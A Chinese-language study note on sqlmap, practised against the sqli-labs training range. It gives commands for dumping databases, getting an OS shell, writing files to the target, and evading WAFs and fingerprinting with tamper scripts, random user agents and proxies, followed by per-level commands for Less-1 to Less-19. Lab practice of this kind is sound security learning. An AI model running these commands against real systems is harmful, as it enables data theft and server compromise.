前言:用于学习sqlmap的简单使用,使用sqli-labs靶场进行测试。
当然,在实战中,考虑的更多,例如如何隐藏自己(特征码),编码加解密、sqlmap抓包调试分析等...
不过那些都是后话,太遥远...基础NO.1!!
先贴上我的sqlmap笔记。
# SQLMAP的使用。--->MYSQL
# 1.判断注入点
python .\sqlmap.py -u "目标" [会自行判断]
# 2.爆库 python .\sqlmap -u "目标" --current-db
[一般来讲不用tables--->因为会获取所以的database,而用--current-db获取当前数据库]
# 3.爆表 python .\sqlmap -u "目标" --tables -D "库名"
[tables获取所有当前库的表]
# 4.爆破字段 python .\sqlmap -u "目标" --columns -T "表名" --tables -D "库名"
[同理,获取当前所有字段]
# 5.爆出数据 python .\sqlmap -u "目标" --dump -C "字段1,字段2" --columns -T "表名" --tables -D "库名"
[结果会保存在"C:\Users\13168\AppData\Local\sqlmap\ 对应URL的dump"中]
# 高权限
--is-dba 、# 判断是否是管理员
[如果是]
--sql-shell [高权限,直接读取。]
[做其他事儿]
--file-write "恶意文件路径" --file-dest "目标文件路径"
--os-cmd=ver # 一次
--os-shell # 交互
# 提交方法
# GET
[GET就是上面的那种]
# POST python .\sqlmap -u "目标" --data "POST表单数据(可以通过抓包查看,浏览器负载中可见POST)"
[POST需要额外需要data,其他一样]
# cookie --cookie ""
##### 文件头注入(标头注入) python .\sqlmap -r .\数据包.txt ————##小迪推荐## 原因: ![alt text](image-7.png)
:避免不能访问而导致的无效注入
[复制请求标头,bp抓你自己发送的包 - - ]
在注入点后面加上*,把 数据包.txt 保存在sqlmap的目录并使用参数进行注入.[不加*会默认全是注入点...]
# 绕过模块 - tamper脚本-使用&开发
因为sqlmap不会识别编码加解密问题 所以需要进行"告知"
sqlmap data模块 是关于payload以及exp设置
tamper 自带的有一些编码加解密
https://www.cnblogs.com/bmjoker/p/9326258.html --tamper参数参考
python .\sqlmap -u "目标" --tamper=base64encode.py[tamper目录自带的,仅复制名字就可以]
# 过滤代码 (PHP) 防止一些SQL注入
[若攻击者知道你的过滤思路,且能利用缺陷,那么借助tamper(可以自己CV复制模板针对性编写)]
WAF:
![alt text](image-8.png)
payload:
![alt text](image-9.png)
难点:测试黑盒环境中,提取有用信息,而不是难的写脚本.
拓展引用:
--batch # 自动最优选择Y/N/Q
--thread # 1-10指定线程
-v #详细的等级(0-6) 小迪说一般用的最多是的 4 方法: -v 4 [配合tamper,能够分析是否注入、有没有生效、进行调试,判断是哪儿出现问题]
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
sqlmap最典型的特征: sqlmap/版本号#dev (https://sqlmap.org) ----特征码[蓝队防守思路]
突破指纹识别:
--user-agent "自定义UA头内容" # 自定义UA头
--random-agent # 随机user-agent
--time-sec=(2,5) # 延迟响应,默认为5
#####等级
--level=(1-5) # 要执行的测试水平等级,默认为1 测试的深度,=2测试cookie等 >=3 ua、referer...
--risk=(0-3) # 测试执行的风险等级,默认为1
[level和risk,自己选,都可以选择]
[level-x(x为1-5)当为2时会对头部的cookie进行扫描注入尝试,x>=3时对user-Agent,ip,referer参数进行扫描]
[risk-x,(x为1-3)1时进行大部分扫描,2会增加基于事件的测试语句,3会增加or语句的sql注入]
###意义:[测试数据包全部数据,因为存在隐藏参数.但是测试时间会更长]
代理注入: 一般配合bp抓包,时时进行观察
--proxy "http://xx:xx" # 代理注入
--proxy "http://127.0.0.1:8080"
[代理池,思路同上,]--小迪推荐 快代理[网站名]-->隧道代理。
Less-1~9
GET型
通杀:
python .\sqlmap.py -u "http://192.168.117.131:8081/Less-9/?id=1" --batch --dbs
第10关
需要增加测试等级深度 --level=2(2往上走)
python .\sqlmap.py -u "http://192.168.117.131:8081/Less-10/?id=1" --batch --dbs --level=3
Less11~15
通杀:
一、 POST参数注入
python .\sqlmap.py -u "http://192.168.117.131:8081/Less-15/" --data "uname=1&passwd=1&submit=Submit" --batch --dbs
二、标头注入
python .\sqlmap.py -r 1.txt --batch --dbs
POST类型
一般会使用 --data(不过更推荐 -r 标头注入.txt 原因-:数据完整性?)
① --data : POST参数注入
python .\sqlmap.py -u "http://192.168.117.131:8081/Less-11/" --data "uname=1&passwd=1&submit=Submit" --batch --dbs
标头注入:(标头注入 || 数据包注入 [浏览器或bp获取标头or数据包])
①通过浏览器获取表单
F12---->网络
1.txt内容如下:(1.txt在sqlmap的目录下)
②复制bp抓包的数据:(标头注入更推荐bp)
。。。。其他操作与①一样.
less16~17
深度设为 --level=2往上走就可以了。[建议 --thread 多线程一起跑,太慢了....]
推荐使用标头注入(数据包完整)
python .\sqlmap.py -r .\1.txt --batch --dbs --level=2
less18等级设为 3
less19:(refer注入,不知道不设*也可注入成功.)
python .\sqlmap.py -r .\1.txt --batch --dbs --level=3
less20:
(待补!卡住了)